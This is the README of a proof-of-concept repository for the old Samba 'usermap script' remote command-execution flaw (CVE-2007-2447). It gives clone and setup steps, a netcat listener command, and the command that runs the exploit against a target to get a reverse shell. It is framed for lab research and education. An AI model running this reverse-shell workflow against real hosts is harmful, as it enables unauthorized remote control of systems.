
PoC: Samba "usermap script" remote command-execution (historical CVE). This repository contains a small proof-of-concept script for research and educational review. The primary script is usermap_script_Command_Execution.py.
Reference writeup: https://amriunix.com/post/cve-2007-2447-samba-usermap-script/
Clone the repository and run the script in a controlled lab. The PoC optionally uses a reverse shell back to LHOST:LPORT — start your listener before running the script and ensure dependencies are installed (see Installation).
git clone https://github.com/abdulsaabir/CVE-2007-2447.git
cd CVE-2007-2447
# ensure dependencies are installed (see Installation), then start a listener on your LHOST:LPORT
# example using netcat with a placeholder port:
nc -lnvp <LPORT>
# in another terminal, run the PoC against the lab target:
python3 usermap_script_Command_Execution.py <RHOST> 139 <LHOST> <LPORT>
Parameters
RHOST — target IP or hostnameRPORT — target TCP port (typically 139)LHOST — listener IP for a reverse connectionLPORT — listener portRecommended: create an isolated Python virtual environment and install dependencies from requirements.txt before running the script.
python3 -m venv exploit_env
source exploit_env/bin/activate
pip install -r requirements.txt
This code is provided for legitimate security research, education, and defensive testing only. Do not run this script against any system you do not own or have explicit written permission to test. Misuse can lead to legal consequences; the repository owner is not responsible for misuse.
Always prefer static code review and controlled lab testing (VM snapshots, isolated networks, and packet captures) when analyzing potentially dangerous code.
If you would like a non-executable annotated walkthrough or a requirements.txt, open an issue or request it here.